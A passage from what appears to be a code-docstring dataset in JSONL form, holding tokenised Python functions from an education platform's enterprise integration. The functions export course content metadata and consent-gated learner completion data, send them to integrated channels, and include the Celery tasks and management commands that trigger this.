datetime.timedelta object.\n        Valid input_type strings:\n            1. 's', 'seconds',\n            2. 'm', 'minutes',\n            3. 'h', 'hours',\n            4. 'd', 'days',\n            5. 'w', 'weeks'\nReturns:\n    (str): timedelta object interpolated into a string following the given format.\n\nExamples:\n    '{D:02}d {H:02}h {M:02}m {S:02}s' --> '05d 08h 04m 02s' (default)\n    '{W}w {D}d {H}:{M:02}:{S:02}'     --> '4w 5d 8:04:02'\n    '{D:2}d {H:2}:{M:02}:{S:02}'      --> ' 5d  8:04:02'\n    '{H}h {S}s'                       --> '72h 800s'", "id": "f16231:m4"}
{"signature": "def __init__(self, enterprise_configuration):", "body": "if not enterprise_configuration:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>self.enterprise_configuration = enterprise_configuration<EOL>", "docstring": "Instantiate a new base client.\n\nArgs:\n    enterprise_configuration: An enterprise customers's configuration model for connecting with the channel\n\nRaises:\n    ValueError: If an enterprise configuration is not provided.", "id": "f16238:c0:m0"}
{"signature": "def create_course_completion(self, user_id, payload):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Make a POST request to the integrated channel's completion API to update completion status for a user.\n\n:param user_id: The ID of the user for whom completion status must be updated.\n:param payload: The JSON encoded payload containing the completion data.", "id": "f16238:c0:m1"}
{"signature": "def delete_course_completion(self, user_id, payload):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Make a DELETE request to the integrated channel's completion API to update completion status for a user.\n\n:param user_id: The ID of the user for whom completion status must be updated.\n:param payload: The JSON encoded payload containing the completion data.", "id": "f16238:c0:m2"}
{"signature": "def create_content_metadata(self, serialized_data):", "body": "raise NotImplementedError()<EOL>", "docstring": "Create content metadata using the integrated channel's API.", "id": "f16238:c0:m3"}
{"signature": "def update_content_metadata(self, serialized_data):", "body": "raise NotImplementedError()<EOL>", "docstring": "Update content metadata using the integrated channel's API.", "id": "f16238:c0:m4"}
{"signature": "def delete_content_metadata(self, serialized_data):", "body": "raise NotImplementedError()<EOL>", "docstring": "Delete content metadata using the integrated channel's API.", "id": "f16238:c0:m5"}
{"signature": "def __init__(self, enterprise_configuration, client=IntegratedChannelApiClient):", "body": "super(ContentMetadataTransmitter, self).__init__(<EOL>enterprise_configuration=enterprise_configuration,<EOL>client=client<EOL>)<EOL>", "docstring": "By default, use the abstract integrated channel API client which raises an error when used if not subclassed.", "id": "f16240:c0:m0"}
{"signature": "def transmit(self, payload, **kwargs):", "body": "items_to_create, items_to_update, items_to_delete, transmission_map = self._partition_items(payload)<EOL>self._transmit_delete(items_to_delete)<EOL>self._transmit_create(items_to_create)<EOL>self._transmit_update(items_to_update, transmission_map)<EOL>", "docstring": "Transmit content metadata items to the integrated channel.", "id": "f16240:c0:m1"}
{"signature": "def _partition_items(self, channel_metadata_item_map):", "body": "items_to_create = {}<EOL>items_to_update = {}<EOL>items_to_delete = {}<EOL>transmission_map = {}<EOL>export_content_ids = channel_metadata_item_map.keys()<EOL>for transmission in self._get_transmissions():<EOL><INDENT>transmission_map[transmission.content_id] = transmission<EOL>if transmission.content_id not in export_content_ids:<EOL><INDENT>items_to_delete[transmission.content_id] = transmission.channel_metadata<EOL><DEDENT><DEDENT>for item in channel_metadata_item_map.values():<EOL><INDENT>content_id = item.content_id<EOL>channel_metadata = item.channel_metadata<EOL>transmitted_item = transmission_map.get(content_id, None)<EOL>if transmitted_item is not None:<EOL><INDENT>if diff(channel_metadata, transmitted_item.channel_metadata):<EOL><INDENT>items_to_update[content_id] = channel_metadata<EOL><DEDENT><DEDENT>else:<EOL><INDENT>items_to_create[content_id] = channel_metadata<EOL><DEDENT><DEDENT>LOGGER.info(<EOL>'<STR_LIT>',<EOL>len(items_to_create),<EOL>self.enterprise_configuration,<EOL>items_to_create.keys(),<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>',<EOL>len(items_to_update),<EOL>self.enterprise_configuration,<EOL>items_to_update.keys(),<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>',<EOL>len(items_to_delete),<EOL>self.enterprise_configuration,<EOL>items_to_delete.keys(),<EOL>)<EOL>return items_to_create, items_to_update, items_to_delete, transmission_map<EOL>", "docstring": "Return items that need to be created, updated, and deleted along with the\ncurrent ContentMetadataItemTransmissions.", "id": "f16240:c0:m2"}
{"signature": "def _prepare_items_for_transmission(self, channel_metadata_items):", "body": "return channel_metadata_items<EOL>", "docstring": "Perform any necessary modifications to content metadata item\ndata structure before transmission. This can be overidden by\nsubclasses to add any data structure wrappers expected by the\nintegrated channel.", "id": "f16240:c0:m3"}
{"signature": "def _serialize_items(self, channel_metadata_items):", "body": "return json.dumps(<EOL>self._prepare_items_for_transmission(channel_metadata_items),<EOL>sort_keys=True<EOL>).encode('<STR_LIT:utf-8>')<EOL>", "docstring": "Serialize content metadata items for a create transmission to the integrated channel.", "id": "f16240:c0:m4"}
{"signature": "def _transmit_create(self, channel_metadata_item_map):", "body": "for chunk in chunks(channel_metadata_item_map, self.enterprise_configuration.transmission_chunk_size):<EOL><INDENT>serialized_chunk = self._serialize_items(list(chunk.values()))<EOL>try:<EOL><INDENT>self.client.create_content_metadata(serialized_chunk)<EOL><DEDENT>except ClientError as exc:<EOL><INDENT>LOGGER.error(<EOL>'<STR_LIT>',<EOL>len(chunk),<EOL>self.enterprise_configuration.enterprise_customer.name,<EOL>self.enterprise_configuration.channel_code,<EOL>)<EOL>LOGGER.error(exc)<EOL><DEDENT>else:<EOL><INDENT>self._create_transmissions(chunk)<EOL><DEDENT><DEDENT>", "docstring": "Transmit content metadata creation to integrated channel.", "id": "f16240:c0:m5"}
{"signature": "def _transmit_update(self, channel_metadata_item_map, transmission_map):", "body": "for chunk in chunks(channel_metadata_item_map, self.enterprise_configuration.transmission_chunk_size):<EOL><INDENT>serialized_chunk = self._serialize_items(list(chunk.values()))<EOL>try:<EOL><INDENT>self.client.update_content_metadata(serialized_chunk)<EOL><DEDENT>except ClientError as exc:<EOL><INDENT>LOGGER.error(<EOL>'<STR_LIT>',<EOL>len(chunk),<EOL>self.enterprise_configuration.enterprise_customer.name,<EOL>self.enterprise_configuration.channel_code,<EOL>)<EOL>LOGGER.error(exc)<EOL><DEDENT>else:<EOL><INDENT>self._update_transmissions(chunk, transmission_map)<EOL><DEDENT><DEDENT>", "docstring": "Transmit content metadata update to integrated channel.", "id": "f16240:c0:m6"}
{"signature": "def _transmit_delete(self, channel_metadata_item_map):", "body": "for chunk in chunks(channel_metadata_item_map, self.enterprise_configuration.transmission_chunk_size):<EOL><INDENT>serialized_chunk = self._serialize_items(list(chunk.values()))<EOL>try:<EOL><INDENT>self.client.delete_content_metadata(serialized_chunk)<EOL><DEDENT>except ClientError as exc:<EOL><INDENT>LOGGER.error(<EOL>'<STR_LIT>',<EOL>len(chunk),<EOL>self.enterprise_configuration.enterprise_customer.name,<EOL>self.enterprise_configuration.channel_code,<EOL>)<EOL>LOGGER.error(exc)<EOL><DEDENT>else:<EOL><INDENT>self._delete_transmissions(chunk.keys())<EOL><DEDENT><DEDENT>", "docstring": "Transmit content metadata deletion to integrated channel.", "id": "f16240:c0:m7"}
{"signature": "def _get_transmissions(self):", "body": "<EOL>ContentMetadataItemTransmission = apps.get_model(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>return ContentMetadataItemTransmission.objects.filter(<EOL>enterprise_customer=self.enterprise_configuration.enterprise_customer,<EOL>integrated_channel_code=self.enterprise_configuration.channel_code()<EOL>)<EOL>", "docstring": "Return the ContentMetadataItemTransmision models for previously\ntransmitted content metadata items.", "id": "f16240:c0:m8"}
{"signature": "def _create_transmissions(self, content_metadata_item_map):", "body": "<EOL>ContentMetadataItemTransmission = apps.get_model(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>transmissions = []<EOL>for content_id, channel_metadata in content_metadata_item_map.items():<EOL><INDENT>transmissions.append(<EOL>ContentMetadataItemTransmission(<EOL>enterprise_customer=self.enterprise_configuration.enterprise_customer,<EOL>integrated_channel_code=self.enterprise_configuration.channel_code(),<EOL>content_id=content_id,<EOL>channel_metadata=channel_metadata<EOL>)<EOL>)<EOL><DEDENT>ContentMetadataItemTransmission.objects.bulk_create(transmissions)<EOL>", "docstring": "Create ContentMetadataItemTransmision models for the given content metadata items.", "id": "f16240:c0:m9"}
{"signature": "def _update_transmissions(self, content_metadata_item_map, transmission_map):", "body": "for content_id, channel_metadata in content_metadata_item_map.items():<EOL><INDENT>transmission = transmission_map[content_id]<EOL>transmission.channel_metadata = channel_metadata<EOL>transmission.save()<EOL><DEDENT>", "docstring": "Update ContentMetadataItemTransmision models for the given content metadata items.", "id": "f16240:c0:m10"}
{"signature": "def _delete_transmissions(self, content_metadata_item_ids):", "body": "<EOL>ContentMetadataItemTransmission = apps.get_model(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>ContentMetadataItemTransmission.objects.filter(<EOL>enterprise_customer=self.enterprise_configuration.enterprise_customer,<EOL>integrated_channel_code=self.enterprise_configuration.channel_code(),<EOL>content_id__in=content_metadata_item_ids<EOL>).delete()<EOL>", "docstring": "Delete ContentMetadataItemTransmision models associated with the given content metadata items.", "id": "f16240:c0:m11"}
{"signature": "def __init__(self, enterprise_configuration, client=None):", "body": "self.enterprise_configuration = enterprise_configuration<EOL>self.client = client(enterprise_configuration) if client else None<EOL>", "docstring": "Prepares a configuration and a client to be used to transmit data to an integrated channel.\n\nArguments:\n    * enterprise_configuration - The configuration connecting an enterprise to an integrated channel.\n    * client - The REST API client that'll transmit serialized data.", "id": "f16241:c0:m0"}
{"signature": "def transmit(self, payload, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "The abstract interface method for sending exported data to an integrated channel through its API client.", "id": "f16241:c0:m1"}
{"signature": "def __init__(self, enterprise_configuration, client=IntegratedChannelApiClient):", "body": "super(LearnerTransmitter, self).__init__(<EOL>enterprise_configuration=enterprise_configuration,<EOL>client=client<EOL>)<EOL>", "docstring": "By default, use the abstract integrated channel API client which raises an error when used if not subclassed.", "id": "f16242:c0:m0"}
{"signature": "def transmit(self, payload, **kwargs):", "body": "IntegratedChannelLearnerDataTransmissionAudit = apps.get_model(  <EOL>app_label=kwargs.get('<STR_LIT>', '<STR_LIT>'),<EOL>model_name=kwargs.get('<STR_LIT>', '<STR_LIT>'),<EOL>)<EOL>for learner_data in payload.export():<EOL><INDENT>serialized_payload = learner_data.serialize(enterprise_configuration=self.enterprise_configuration)<EOL>LOGGER.debug('<STR_LIT>', serialized_payload)<EOL>enterprise_enrollment_id = learner_data.enterprise_course_enrollment_id<EOL>if learner_data.completed_timestamp is None:<EOL><INDENT>LOGGER.info('<STR_LIT>'.format(enterprise_enrollment_id))<EOL>continue<EOL><DEDENT>previous_transmissions = IntegratedChannelLearnerDataTransmissionAudit.objects.filter(<EOL>enterprise_course_enrollment_id=enterprise_enrollment_id,<EOL>error_message='<STR_LIT>'<EOL>)<EOL>if previous_transmissions.exists():<EOL><INDENT>LOGGER.info('<STR_LIT>'.format(enterprise_enrollment_id))<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>code, body = self.client.create_course_completion(<EOL>getattr(learner_data, kwargs.get('<STR_LIT>')),<EOL>serialized_payload<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>'.format(<EOL>enterprise_enrollment_id,<EOL>)<EOL>)<EOL><DEDENT>except RequestException as request_exception:<EOL><INDENT>code = <NUM_LIT><EOL>body = str(request_exception)<EOL>self.handle_transmission_error(learner_data, request_exception)<EOL><DEDENT>learner_data.status = str(code)<EOL>learner_data.error_message = body if code >= <NUM_LIT> else '<STR_LIT>'<EOL>learner_data.save()<EOL><DEDENT>", "docstring": "Send a completion status call to the integrated channel using the client.\n\nArgs:\n    payload: The learner completion data payload to send to the integrated channel.\n    kwargs: Contains integrated channel-specific information for customized transmission variables.\n        - app_label: The app label of the integrated channel for whom to store learner data records for.\n        - model_name: The name of the specific learner data record model to use.\n        - remote_user_id: The remote ID field name of the learner on the audit model.", "id": "f16242:c0:m1"}
{"signature": "def handle_transmission_error(self, learner_data, request_exception):", "body": "try:<EOL><INDENT>sys_msg = request_exception.response.content<EOL><DEDENT>except AttributeError:<EOL><INDENT>sys_msg = '<STR_LIT>'<EOL><DEDENT>LOGGER.error(<EOL>(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>),<EOL>learner_data.enterprise_course_enrollment_id,<EOL>learner_data,<EOL>str(request_exception),<EOL>sys_msg<EOL>)<EOL>", "docstring": "Handle the case where the transmission fails.", "id": "f16242:c0:m2"}
{"signature": "def __init__(self, user, enterprise_configuration):", "body": "super(ContentMetadataExporter, self).__init__(user, enterprise_configuration)<EOL>self.enterprise_api = EnterpriseApiClient(self.user)<EOL>", "docstring": "Initialize the exporter.", "id": "f16244:c0:m0"}
{"signature": "def export(self):", "body": "content_metadata_export = {}<EOL>content_metadata_items = self.enterprise_api.get_content_metadata(self.enterprise_customer)<EOL>LOGGER.info('<STR_LIT>', self.enterprise_customer.name)<EOL>for item in content_metadata_items:<EOL><INDENT>transformed = self._transform_item(item)<EOL>LOGGER.info(<EOL>'<STR_LIT>',<EOL>self.enterprise_configuration,<EOL>json.dumps(transformed, indent=<NUM_LIT:4>),<EOL>)<EOL>content_metadata_item_export = ContentMetadataItemExport(item, transformed)<EOL>content_metadata_export[content_metadata_item_export.content_id] = content_metadata_item_export<EOL><DEDENT>return OrderedDict(sorted(content_metadata_export.items()))<EOL>", "docstring": "Return the exported and transformed content metadata as a dictionary.", "id": "f16244:c0:m1"}
{"signature": "def _transform_item(self, content_metadata_item):", "body": "content_metadata_type = content_metadata_item['<STR_LIT>']<EOL>transformed_item = {}<EOL>for integrated_channel_schema_key, edx_data_schema_key in self.DATA_TRANSFORM_MAPPING.items():<EOL><INDENT>transformer = (<EOL>getattr(<EOL>self,<EOL>'<STR_LIT>'.format(<EOL>content_type=content_metadata_type,<EOL>edx_data_schema_key=edx_data_schema_key<EOL>),<EOL>None<EOL>)<EOL>or<EOL>getattr(<EOL>self,<EOL>'<STR_LIT>'.format(<EOL>edx_data_schema_key=edx_data_schema_key<EOL>),<EOL>None<EOL>)<EOL>)<EOL>if transformer:<EOL><INDENT>transformed_item[integrated_channel_schema_key] = transformer(content_metadata_item)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>transformed_item[integrated_channel_schema_key] = content_metadata_item[edx_data_schema_key]<EOL><DEDENT>except KeyError:<EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>',<EOL>edx_data_schema_key,<EOL>self.enterprise_customer.name,<EOL>content_metadata_item,<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return transformed_item<EOL>", "docstring": "Transform the provided content metadata item to the schema expected by the integrated channel.", "id": "f16244:c0:m2"}
{"signature": "def __init__(self, user, enterprise_configuration):", "body": "self.user = user<EOL>self.enterprise_configuration = enterprise_configuration<EOL>self.enterprise_customer = enterprise_configuration.enterprise_customer<EOL>", "docstring": "Store the data needed to export the learner data to the integrated channel.\n\nArguments:\n    * user: User instance with access to the Grades API for the Enterprise Customer's courses.\n    * enterprise_configuration - The configuration connecting an enterprise to an integrated channel.", "id": "f16245:c0:m0"}
{"signature": "def export(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Export (read: serialize) data to be used by a transmitter to transmit to an integrated channel.", "id": "f16245:c0:m1"}
{"signature": "def __init__(self, user, enterprise_configuration):", "body": "<EOL>self.grades_api = None<EOL>self.certificates_api = None<EOL>self.course_api = None<EOL>self.course_enrollment_api = None<EOL>super(LearnerExporter, self).__init__(user, enterprise_configuration)<EOL>", "docstring": "Store the data needed to export the learner data to the integrated channel.\n\nArguments:\n\n* ``user``: User instance with access to the Grades API for the Enterprise Customer's courses.\n* ``enterprise_configuration``: EnterpriseCustomerPluginConfiguration instance for the current channel.", "id": "f16246:c0:m0"}
{"signature": "@property<EOL><INDENT>def grade_passing(self):<DEDENT>", "body": "return self.GRADE_PASSING<EOL>", "docstring": "Returns the string used for a passing grade.", "id": "f16246:c0:m1"}
{"signature": "@property<EOL><INDENT>def grade_failing(self):<DEDENT>", "body": "return self.GRADE_FAILING<EOL>", "docstring": "Returns the string used for a failing grade.", "id": "f16246:c0:m2"}
{"signature": "@property<EOL><INDENT>def grade_incomplete(self):<DEDENT>", "body": "return self.GRADE_INCOMPLETE<EOL>", "docstring": "Returns the string used for an incomplete course grade.", "id": "f16246:c0:m3"}
{"signature": "def export(self):", "body": "<EOL>enrollment_queryset = EnterpriseCourseEnrollment.objects.select_related(<EOL>'<STR_LIT>'<EOL>).filter(<EOL>enterprise_customer_user__enterprise_customer=self.enterprise_customer,<EOL>enterprise_customer_user__active=True,<EOL>).order_by('<STR_LIT>')<EOL>course_details = None<EOL>for enterprise_enrollment in enrollment_queryset:<EOL><INDENT>course_id = enterprise_enrollment.course_id<EOL>if course_details is None or course_details['<STR_LIT>'] != course_id:<EOL><INDENT>if self.course_api is None:<EOL><INDENT>self.course_api = CourseApiClient()<EOL><DEDENT>course_details = self.course_api.get_course_details(course_id)<EOL><DEDENT>if course_details is None:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\",<EOL>enterprise_enrollment.pk, course_id)<EOL>continue<EOL><DEDENT>consent = DataSharingConsent.objects.proxied_get(<EOL>username=enterprise_enrollment.enterprise_customer_user.username,<EOL>course_id=enterprise_enrollment.course_id,<EOL>enterprise_customer=enterprise_enrollment.enterprise_customer_user.enterprise_customer<EOL>)<EOL>if not consent.granted or enterprise_enrollment.audit_reporting_disabled:<EOL><INDENT>continue<EOL><DEDENT>if course_details.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>completed_date, grade, is_passing = self._collect_certificate_data(enterprise_enrollment)<EOL><DEDENT>else:<EOL><INDENT>completed_date, grade, is_passing = self._collect_grades_data(enterprise_enrollment, course_details)<EOL><DEDENT>records = self.get_learner_data_records(<EOL>enterprise_enrollment=enterprise_enrollment,<EOL>completed_date=completed_date,<EOL>grade=grade,<EOL>is_passing=is_passing,<EOL>)<EOL>if records:<EOL><INDENT>for record in records:<EOL><INDENT>yield record<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Collect learner data for the ``EnterpriseCustomer`` where data sharing consent is granted.\n\nYields a learner data object for each enrollment, containing:\n\n* ``enterprise_enrollment``: ``EnterpriseCourseEnrollment`` object.\n* ``completed_date``: datetime instance containing the course/enrollment completion date; None if not complete.\n  \"Course completion\" occurs for instructor-paced courses when course certificates are issued, and\n  for self-paced courses, when the course end date is passed, or when the learner achieves a passing grade.\n* ``grade``: string grade recorded for the learner in the course.", "id": "f16246:c0:m4"}
{"signature": "def get_learner_data_records(self, enterprise_enrollment, completed_date=None, grade=None, is_passing=False):", "body": "<EOL>LearnerDataTransmissionAudit = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>completed_timestamp = None<EOL>course_completed = False<EOL>if completed_date is not None:<EOL><INDENT>completed_timestamp = parse_datetime_to_epoch_millis(completed_date)<EOL>course_completed = is_passing<EOL><DEDENT>return [<EOL>LearnerDataTransmissionAudit(<EOL>enterprise_course_enrollment_id=enterprise_enrollment.id,<EOL>course_id=enterprise_enrollment.course_id,<EOL>course_completed=course_completed,<EOL>completed_timestamp=completed_timestamp,<EOL>grade=grade,<EOL>)<EOL>]<EOL>", "docstring": "Generate a learner data transmission audit with fields properly filled in.", "id": "f16246:c0:m5"}
{"signature": "def _collect_certificate_data(self, enterprise_enrollment):", "body": "if self.certificates_api is None:<EOL><INDENT>self.certificates_api = CertificatesApiClient(self.user)<EOL><DEDENT>course_id = enterprise_enrollment.course_id<EOL>username = enterprise_enrollment.enterprise_customer_user.user.username<EOL>try:<EOL><INDENT>certificate = self.certificates_api.get_course_certificate(course_id, username)<EOL>completed_date = certificate.get('<STR_LIT>')<EOL>if completed_date:<EOL><INDENT>completed_date = parse_datetime(completed_date)<EOL><DEDENT>else:<EOL><INDENT>completed_date = timezone.now()<EOL><DEDENT>is_passing = certificate.get('<STR_LIT>')<EOL>grade = self.grade_passing if is_passing else self.grade_failing<EOL><DEDENT>except HttpNotFoundError:<EOL><INDENT>completed_date = None<EOL>grade = self.grade_incomplete<EOL>is_passing = False<EOL><DEDENT>return completed_date, grade, is_passing<EOL>", "docstring": "Collect the learner completion data from the course certificate.\n\nUsed for Instructor-paced courses.\n\nIf no certificate is found, then returns the completed_date = None, grade = In Progress, on the idea that a\ncertificate will eventually be generated.\n\nArgs:\n    enterprise_enrollment (EnterpriseCourseEnrollment): the enterprise enrollment record for which we need to\n    collect completion/grade data\n\nReturns:\n    completed_date: Date the course was completed, this is None if course has not been completed.\n    grade: Current grade in the course.\n    is_passing: Boolean indicating if the grade is a passing grade or not.", "id": "f16246:c0:m6"}
{"signature": "def _collect_grades_data(self, enterprise_enrollment, course_details):", "body": "if self.grades_api is None:<EOL><INDENT>self.grades_api = GradesApiClient(self.user)<EOL><DEDENT>course_id = enterprise_enrollment.course_id<EOL>username = enterprise_enrollment.enterprise_customer_user.user.username<EOL>try:<EOL><INDENT>grades_data = self.grades_api.get_course_grade(course_id, username)<EOL><DEDENT>except HttpNotFoundError as error:<EOL><INDENT>if hasattr(error, '<STR_LIT:content>'):<EOL><INDENT>response_content = json.loads(error.content)<EOL>if response_content.get('<STR_LIT>', '<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>LOGGER.info(<EOL>\"<STR_LIT>\",<EOL>username,<EOL>course_id,<EOL>enterprise_enrollment.pk<EOL>)<EOL>return None, None, None<EOL><DEDENT><DEDENT>LOGGER.error(\"<STR_LIT>\", enterprise_enrollment.pk, course_id, username)<EOL>return None, None, None<EOL><DEDENT>course_end_date = course_details.get('<STR_LIT:end>')<EOL>if course_end_date is not None:<EOL><INDENT>course_end_date = parse_datetime(course_end_date)<EOL><DEDENT>now = timezone.now()<EOL>is_passing = grades_data.get('<STR_LIT>')<EOL>if course_end_date is not None and course_end_date < now:<EOL><INDENT>completed_date = course_end_date<EOL>grade = self.grade_passing if is_passing else self.grade_failing<EOL><DEDENT>elif is_passing:<EOL><INDENT>completed_date = now<EOL>grade = self.grade_passing<EOL><DEDENT>else:<EOL><INDENT>completed_date = None<EOL>grade = self.grade_incomplete<EOL><DEDENT>return completed_date, grade, is_passing<EOL>", "docstring": "Collect the learner completion data from the Grades API.\n\nUsed for self-paced courses.\n\nArgs:\n    enterprise_enrollment (EnterpriseCourseEnrollment): the enterprise enrollment record for which we need to\n    collect completion/grade data\n    course_details (dict): the course details for the course in the enterprise enrollment record.\n\nReturns:\n    completed_date: Date the course was completed, this is None if course has not been completed.\n    grade: Current grade in the course.\n    is_passing: Boolean indicating if the grade is a passing grade or not.", "id": "f16246:c0:m7"}
{"signature": "@shared_task<EOL>def transmit_content_metadata(username, channel_code, channel_pk):", "body": "start = time.time()<EOL>api_user = User.objects.get(username=username)<EOL>integrated_channel = INTEGRATED_CHANNEL_CHOICES[channel_code].objects.get(pk=channel_pk)<EOL>LOGGER.info('<STR_LIT>', integrated_channel)<EOL>try:<EOL><INDENT>integrated_channel.transmit_content_metadata(api_user)<EOL><DEDENT>except Exception:  <EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', username, channel_code, channel_pk<EOL>)<EOL><DEDENT>duration = time.time() - start<EOL>LOGGER.info(<EOL>'<STR_LIT>',<EOL>integrated_channel,<EOL>duration<EOL>)<EOL>", "docstring": "Task to send content metadata to each linked integrated channel.\n\nArguments:\n    username (str): The username of the User to be used for making API requests to retrieve content metadata.\n    channel_code (str): Capitalized identifier for the integrated channel.\n    channel_pk (str): Primary key for identifying integrated channel.", "id": "f16247:m0"}
{"signature": "@shared_task<EOL>def transmit_learner_data(username, channel_code, channel_pk):", "body": "start = time.time()<EOL>api_user = User.objects.get(username=username)<EOL>integrated_channel = INTEGRATED_CHANNEL_CHOICES[channel_code].objects.get(pk=channel_pk)<EOL>LOGGER.info('<STR_LIT>', integrated_channel)<EOL>integrated_channel.transmit_learner_data(api_user)<EOL>duration = time.time() - start<EOL>LOGGER.info(<EOL>'<STR_LIT>',<EOL>integrated_channel,<EOL>duration<EOL>)<EOL>", "docstring": "Task to send learner data to each linked integrated channel.\n\nArguments:\n    username (str): The username of the User to be used for making API requests for learner data.\n    channel_code (str): Capitalized identifier for the integrated channel\n    channel_pk (str): Primary key for identifying integrated channel", "id": "f16247:m1"}
{"signature": "@shared_task<EOL>def unlink_inactive_learners(channel_code, channel_pk):", "body": "start = time.time()<EOL>integrated_channel = INTEGRATED_CHANNEL_CHOICES[channel_code].objects.get(pk=channel_pk)<EOL>LOGGER.info('<STR_LIT>', integrated_channel)<EOL>integrated_channel.unlink_inactive_learners()<EOL>duration = time.time() - start<EOL>LOGGER.info(<EOL>'<STR_LIT>',<EOL>integrated_channel,<EOL>duration<EOL>)<EOL>", "docstring": "Task to unlink inactive learners of provided integrated channel.\n\nArguments:\n    channel_code (str): Capitalized identifier for the integrated channel\n    channel_pk (str): Primary key for identifying integrated channel", "id": "f16247:m2"}
{"signature": "def add_arguments(self, parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>required=True,<EOL>metavar='<STR_LIT>',<EOL>help=_('<STR_LIT>'),<EOL>)<EOL>super(Command, self).add_arguments(parser)<EOL>", "docstring": "Add required --api_user argument to the parser.", "id": "f16248:c0:m0"}
{"signature": "def handle(self, *args, **options):", "body": "<EOL>api_username = options['<STR_LIT>']<EOL>try:<EOL><INDENT>User.objects.get(username=api_username)<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>raise CommandError(_('<STR_LIT>').format(username=api_username))<EOL><DEDENT>for integrated_channel in self.get_integrated_channels(options):<EOL><INDENT>transmit_learner_data.delay(api_username, integrated_channel.channel_code(), integrated_channel.pk)<EOL><DEDENT>", "docstring": "Transmit the learner data for the EnterpriseCustomer(s) to the active integration channels.", "id": "f16248:c0:m1"}
{"signature": "def add_arguments(self, parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>required=True,<EOL>metavar='<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>)<EOL>super(Command, self).add_arguments(parser)<EOL>", "docstring": "Add required arguments to the parser.", "id": "f16249:c0:m0"}
{"signature": "def handle(self, *args, **options):", "body": "username = options['<STR_LIT>']<EOL>try:<EOL><INDENT>User.objects.get(username=username)<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>raise CommandError('<STR_LIT>'.format(username))<EOL><DEDENT>channels = self.get_integrated_channels(options)<EOL>for channel in channels:<EOL><INDENT>channel_code = channel.channel_code()<EOL>channel_pk = channel.pk<EOL>transmit_content_metadata.delay(username, channel_code, channel_pk)<EOL><DEDENT>", "docstring": "Transmit the courseware data for the EnterpriseCustomer(s) to the active integration channels.", "id": "f16249:c0:m1"}
{"signature": "def add_arguments(self, parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>default=None,<EOL>metavar='<STR_LIT>',<EOL>help=_('<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>default='<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>help=_('<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>choices=INTEGRATED_CHANNEL_CHOICES.keys(),<EOL>)<EOL>", "docstring": "Adds the optional arguments: ``--enterprise_customer``, ``--channel``", "id": "f16250:c0:m0"}
{"signature": "def get_integrated_channels(self, options):", "body": "channel_classes = self.get_channel_classes(options.get('<STR_LIT>'))<EOL>filter_kwargs = {<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': True,<EOL>}<EOL>enterprise_customer = self.get_enterprise_customer(options.get('<STR_LIT>'))<EOL>if enterprise_customer:<EOL><INDENT>filter_kwargs['<STR_LIT>'] = enterprise_customer<EOL><DEDENT>for channel_class in channel_classes:<EOL><INDENT>for integrated_channel in channel_class.objects.filter(**filter_kwargs):<EOL><INDENT>yield integrated_channel<EOL><DEDENT><DEDENT>", "docstring": "Generates a list of active integrated channels for active customers, filtered from the given options.\n\nRaises errors when invalid options are encountered.\n\nSee ``add_arguments`` for the accepted options.", "id": "f16250:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_enterprise_customer(uuid):<DEDENT>", "body": "if uuid is None:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>return EnterpriseCustomer.active_customers.get(uuid=uuid)<EOL><DEDENT>except EnterpriseCustomer.DoesNotExist:<EOL><INDENT>raise CommandError(<EOL>_('<STR_LIT>').format(uuid=uuid))<EOL><DEDENT>", "docstring": "Returns the enterprise customer requested for the given uuid, None if not.\n\nRaises CommandError if uuid is invalid.", "id": "f16250:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def get_channel_classes(channel_code):<DEDENT>", "body": "if channel_code:<EOL><INDENT>channel_code = channel_code.upper()<EOL>if channel_code not in INTEGRATED_CHANNEL_CHOICES:<EOL><INDENT>raise CommandError(_('<STR_LIT>').format(channel=channel_code))<EOL><DEDENT>channel_classes = [INTEGRATED_CHANNEL_CHOICES[channel_code]]<EOL><DEDENT>else:<EOL><INDENT>channel_classes = INTEGRATED_CHANNEL_CHOICES.values()<EOL><DEDENT>return channel_classes<EOL>", "docstring": "Assemble a list of integrated channel classes to transmit to.\n\nIf a valid channel type was provided, use it.\n\nOtherwise, use all the available channel types.", "id": "f16250:c0:m3"}
